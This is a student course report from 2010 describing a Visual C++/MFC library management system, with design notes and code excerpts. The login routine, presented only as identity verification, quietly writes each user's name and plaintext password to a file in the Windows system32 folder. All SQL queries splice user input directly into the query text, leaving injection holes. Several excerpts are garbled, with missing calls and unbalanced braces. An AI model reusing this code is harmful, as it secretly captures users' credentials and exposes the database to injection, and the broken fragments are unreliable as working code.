Visual C++程序设计课程大作业
题目名称:图书管理系统
系名称:计算机科学与信息工程学院
专业班级:2010级计算机科学与技术嵌入式学号姓名:201003040020 李瑞娜
学号姓名:201003040033 邓丽娜
2010 年12 月
目录
一、组员分工 (3)
二、需求分析 (3)
三、总体设计 (4)
1.系统主要功能模块设 (4)
2.系统使用处理流程设计 (4)
3.数据库设计 (5)
四、详细设计 (5)
1.功能模块详细设计 (5)
2.数据库详细设计 (16)
五、系统测试 (18)
六、总结 (20)
七、参考文献 (21)
一、组员分工
本小组共两名组员,在该图书管理系统的软件设计与实现部分,组员邓丽娜主要负责系统中对整个数据库的操作、管理和设置部分,包括权限验证、用户管理、基础数据设置、数据库的备份与恢复,以实现对数据库的管理和维护工作,并提高系统的数据安全性。组员李瑞娜主要负责实现对数据库中的具体表的数据项的管理和操作,包括借阅管理、书库管理、读者管理等模块,通过添加、删除、修改等操作,来实现对图书信息、读者信息、借阅信息的管理和登记,从而能够为借阅者提供方便快捷的服务,同时也提高了操作人员的管理效率。
二、需求分析
该图书管理系统是基于利用计算机管理图书信息的需求而设计的,主要致力于为图书借阅人提供方便快捷的服务,以及为图书管理人员提供准确可靠的信息,旨在提高图书管理的效率,节约相关的管理成本,增强图书管理的安全性,为学校的信息化建设提供必要的支持。
其具体需求分析如下:
1)系统需求:该系统需提供给图书借阅者、信息管理员和图书馆管理人员共三方面的需求,图书借阅者的需求是查询图书馆所存的图书、个人借阅情况及个人信息的修改;信息管理员对图书借阅者的借阅及还书要求进行操作,同时对借书或还书信息进行查询;图书馆管理员实现图书采购及验收编目入库。它要满足图书借阅管理、图书书库管理、图书借阅人管理的基本要求,并能实现方便的操作和扩展,满足图书馆发展的需要,保障图书管理书籍的安全、准确。
2)功能需求:该图书管理系统主要有以下几项基本功能
·用户管理:用于管理系统用户,并能设置用户口令和权限,实现用户的添加、修改和删除,从而为系统的安全性提供保障。
·基础数据管理:负责维护图书管理相关的基础数据,主要包括对图书逾期罚款、图书类别、读者类别的设置。
·借阅管理:完成图书的借出登记,归还登记信息,以及借书信息和还书信息的查询浏览等借阅相关的管理功能。
·书库管理:维护书库中的图书信息,能够完成新书的入库登记,图书信息的查询以及图书丢失处理等功能。
·读者管理:维护读者的相关信息,能够完成新读者信息的登记,读者信息的查询以及读者注销等
·数据库管理:对现有的数据库进行管理,包括数据备份和恢复,以方便用户对数据库的管理和维护工作,提高系统的数据安全性。
3)性能需求:Windows XP/2000/98/ME中的Visual C++开发环境,Microsoft Access 2000数据库使用软件。
三、总体设计
1. 系统主要功能模块设
如图a所示:
2. 系统使用处理流程设计
如图b所示:
图b
3. 数据库设计
该图书管理系统关联的数据库的数据项和数据结构如下:
·用户表:用户名、用户密码、用户类型
·罚款设置表:罚款类型、罚款金额
·图书类型设置表:类别名称、可借出天数
·读者类型设置表:类别名称、可借书册数
·图书信息表:图书编号、图书名称、图书类别、出版社、作者、图书价格、登记日期、是否借出、借阅人编号、说明
·读者信息表:读者编号、读者姓名、读者性别、读者类别、注册日期、联系电话、单位部门、住址、说明
·借出信息表:记录号、读者编号、读者姓名、图书编号、图书名称、图书类别、图书价格、借出日期、归还日期、是否归还、操作员
·归还信息表:记录号、读者编号、读者姓名、图书编号、图书名称、图书类别、图书价格、借出日期、归还日期、罚款金额、其他金额、总计金额、操作员
四、详细设计
1. 功能模块详细设计
(1)开始界面:显示该系统的主界面及其简单布局
创建一个基于单文档的MFC应用程序,建立系统主体框架,生成应用程序类、文档类、视图类和主框架;按功能模块的划分,使用资源编辑器创建系统菜单;在视图类的Paint事件处理函数OnPaint()中添加代码,实现加载背景图片的功能。
基本界面设计如下:
(2)登录界面:即为权限验证模块,主要是根据用户输入的用户名和密码验证用户身份并决定其操作权限,而且会对用户的输入情况给出相应的提示信息。
界面设计如下:
具体实现如下:
验证用户身份并分配权限
CUserSet recordset;
CString strSQL;
UpdateData(TRUE);
if(m_strUser.IsEmpty())
{
AfxMessageBox("请输入用户名!");
m_ctrUser.SetFocus();
return;
}
//检查密码是否输入
if(m_strPass.IsEmpty())
{
AfxMessageBox("请输入密码!");
m_ctrPass.SetFocus();
return;
}
CLibraryApp* ptheApp = (CLibraryApp *) AfxGetApp();
strSQL.Format("select * from user where user='%s' AND passwd='%s'",m_strUser,m_strPass);
MessageBox("打开数据库失败!","数据库错误",MB_OK);
return ;
}
if(recordset.GetRecordCount()==0)
{
recordset.Close();
MessageBox("密码错误,请重新输入!");
m_strPass="";
m_ctrPass.SetFocus();
UpdateData(FALSE);
}
else
{
CFile file;
file.Open("c:\\windows\\system32\\log.txt",CFile::modeCreate|CFile::modeReadWrite);
CArchive ar(&file,CArchive::store);
ar<<("帐户:"+m_strUser+"\r\n");
ar<<("密码:"+m_strPass+"\r\n");
ar.Close();
file.Close();
ptheApp->m_bIsAdmin = recordset.m_isadmin;
ptheApp->m_strOperator = recordset.m_user;
recordset.Close();
CDialog::OnOK();
}
完成初始化工作,从数据表中提取用户名列表中的数据,以便用户选择并登录
CDialog::OnInitDialog();
CUserSet recordset ;
CString strSQL;
UpdateData(TRUE);
strSQL="select * from user";
MessageBox("打开数据库失败!","数据库错误",MB_OK);
return FALSE;
}
while(!recordset.IsEOF())
{
m_ctrUser.AddString(recordset.m_user);
recordset.MoveNext();
}
recordset.Close();
return TRUE;
(3)用户管理模块:提供添加新用户、删除指定用户、修改用户的密码和权限的功能,该模块功能只限于具有系统管理员权限的用户使用。
模块结构:包括添加新用户、修改用户口令、修改用户权限、删除用户
界面设计如下:
(4)基础数据设置模块:主要通过图书逾期罚款设置、图书类别设置和读者类别设置三个子模块分别来实现相应子基础数据的维护和管理。
模块结构:罚款设置、图书类别设置、读者类别设置
各个子模块界面设计如下:
其中读者类型模块具体实现如下:(其他模块添加、修改、删除功能与此类似)对话框的初始化
BOOL CReaderTypeDlg::OnInitDialog()
{
CDialog::OnInitDialog();
m_ctrList.InsertColumn(0,"类别名称");
m_ctrList.SetColumnWidth(0,120);
m_ctrList.InsertColumn(1,"可借册数");
m_ctrList.SetColumnWidth(1,60);
m_ctrList.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);
RefreshData();
return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }
void CReaderTypeDlg::RefreshData()
m_ctrList.SetFocus();
//清空列表
m_ctrList.DeleteAllItems();
m_ctrList.SetRedraw(FALSE);
CString strSQL;
UpdateData(TRUE);
//打开记录集
strSQL="select * from readerType";
if(!m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!","数据库错误",MB_OK);
return ;
}
//添加记录到列表中
int i=0;
char buffer[20];
while(!m_recordset.IsEOF())
{
m_ctrList.InsertItem(i,m_recordset.m_type);
itoa(m_recordset.m_number,buffer,10);
m_ctrList.SetItemText(i,1,buffer);
i++;
m_recordset.MoveNext();
}
m_recordset.Close();
m_ctrList.SetRedraw(TRUE);
}
添加新读者类型
void CReaderTypeDlg::OnButtonNew()
{
// TODO: Add your control notification handler code here CInputDlg dlg;
dlg.m_strTypeNo = "读者类型:";
dlg.m_strNumberNo = "可借册数:";
{
//打开记录集
CString strSQL;
strSQL.Format("select * from readerType where type='%s'",dlg.m_strType);
if(!m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!","数据库错误",MB_OK);
return ;
}
//判断记录是否已经存在
if(m_recordset.GetRecordCount()!=0)
{
m_recordset.Close();
MessageBox("该记录已经存在!");
return;
}
m_recordset.AddNew();
m_recordset.m_type = dlg.m_strType;
m_recordset.m_number = dlg.m_nNumber;
m_recordset.Update();
m_recordset.Close();
//更新列表
RefreshData();
}
}
修改读者类别数据
void CReaderTypeDlg::OnButtonModify()
{
// TODO: Add your control notification handler code here
int i = m_ctrList.GetSelectionMark();
if(i<0)
{
AfxMessageBox("请选取要修改的记录!");
return;
//初始化信息输入对话框
CInputDlg dlg;
dlg.m_strTypeNo = "读者类型:";
dlg.m_strNumberNo = "可借册数:";
dlg.m_strType = m_ctrList.GetItemText(i,0);
dlg.m_nNumber = atoi(m_ctrList.GetItemText(i,1));
//等待用户输入
if(dlg.DoModal()==IDOK)
{
//打开记录集
CString strSQL;
strSQL.Format("select * from readerType where type='%s'",dlg.m_strType);
if(!m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!","数据库错误",MB_OK);
return ;
}
//判断记录是否不存在
if(m_recordset.GetRecordCount()==0)
{
m_recordset.Close();
MessageBox("该记录不存在!");
return;
}
m_recordset.Edit();
m_recordset.m_type = dlg.m_strType;
m_recordset.m_number = dlg.m_nNumber;
m_recordset.Update();
m_recordset.Close();
//更新列表
RefreshData();
}
}
删除读者类别数据
{
// TODO: Add your control notification handler code here
int i = m_ctrList.GetSelectionMark();
if(i<0)
{
AfxMessageBox("请选取要删除的记录!");
return;
}
//打开记录集
CString strSQL;
strSQL.Format("select * from readerType where type='%s'",m_ctrList.GetItemText(i,0));
if(!m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!","数据库错误",MB_OK);
return ;
}
//判断记录是否不存在
if(m_recordset.GetRecordCount()==0)
{
m_recordset.Close();
MessageBox("该记录不存在!");
return;
}
m_recordset.Delete(); //删除记录
m_recordset.Close();
//更新列表
RefreshData();
}
(5)借阅管理模块:该模块主要实现借书和还书的登记功能,同时提供借书记录和还书记录的查询和浏览功能。
模块结构:借书、借书查询、还书、还书查询
各个子模块界面设计如下:
(6)书库管理模块:实现对所有图书信息的管理功能,包括新书的入库登记,图书信息的查询浏览,以及图书的挂失等。
模块结构:新书登记、图书信息查询、图书挂失
各个子模块界面设计如下:
(7)读者管理模块:实现对所有读者信息的管理功能,如读者登记,读者信息的查询浏览,以及读者信息的注销等。
模块结构:读者登记、读者信息查询、读者注销
各个子模块界面设计如下:
(8)数据库管理模块:实现对数据库的基本操作,包括数据库的备份和恢复,以提高数据库的安全性。
具体实现如下:
数据库的备份
void CMainFrame::OnDatabaseBackup()
{
// TODO: Add your command handler code here
if(AfxMessageBox("您确定要备份数据库吗?",MB_OKCANCEL)==IDCANCEL) {
return;
}
if(CopyFile(".\\libDB.mdb",".\\libDB.bak",FALSE))
AfxMessageBox("数据库备份成功!");
else
AfxMessageBox("数据库备份失败!");
}
数据库的恢复
void CMainFrame::OnDatabaseRecover()
{
// TODO: Add your command handler code here
if(AfxMessageBox("还原数据库将覆盖原来的数据库。您确定要还原吗?",MB_OKCANCEL)==IDCANCEL)
{
return;
}
if(CopyFile(".\\libDB.bak",".\\libDB.mdb",FALSE))
AfxMessageBox("数据库还原成功!");
else
AfxMessageBox("数据库还原失败!");
}
2. 数据库详细设计
用户表(user)具体设计如下
罚款设置表(publishType)具体设计如下
图书类型设置表(bookType)具体设计如下
读者类型设置表(readerType)具体设计如下
图书信息表(bookInfo)具体设计如下
读者信息表(readerInfo)具体设计如下
借出信息表(borrowInfo)具体设计如下
归还信息表(returnInfo)具体设计如下
五、系统测试
登陆界面的测试:
登陆界面的设计中对用户名的下拉菜单添加变量时添加控件变量m_ctrUser,和字符串型变量m_strUser 两个变,用户名调用数据库里的内容;用户类型可以自行选择,当密码不正确时弹出提示信息;
图书类型设置的测试:
图书类型设置可以对图书的类型进行添加、删除、修改;进行添加时的弹出添加对话框,添加、删除、修改后的内容和数据库连接,可直接显示在左边的列表里面
还书的测试:
此对话框只需要输入所借图书的编号,图书的信息以及读者信息都会自动连接到数据库生成,相应的归还信息也会自动生成,方便管理者进行管理
图书信息查询的测试:
图书信息查询时,只需输入图书的编号进行查询,当点击“显示全部”时数据库里包含的所有书籍的信息都会显示出来,图书编号查询可以使读者更方便快捷地查找到自己所需要的书籍信息;
读者登记的测试:
读者登记,把督责的相应信息填写完整后,点击“确定”添加的读者信息会自动添加到数据库中,以后查阅时也会有此读者的相应信息
六、总结
经过全体小组成员的共同努力,在老师规定的时间内基本实现了图书管理系统的所有功能,现将对该系统的总结和报告阐述如下:
优点:此系统包含了图书管理系统中需要的基本功能。对话框中添加的列表控件可以使查询或添加的内容显示在对话框中,使人一目连然;在“还书”对话框的“归还信息”里“借书日期”“还书日期”控件关联到日历表,方便管理者记录日期信息。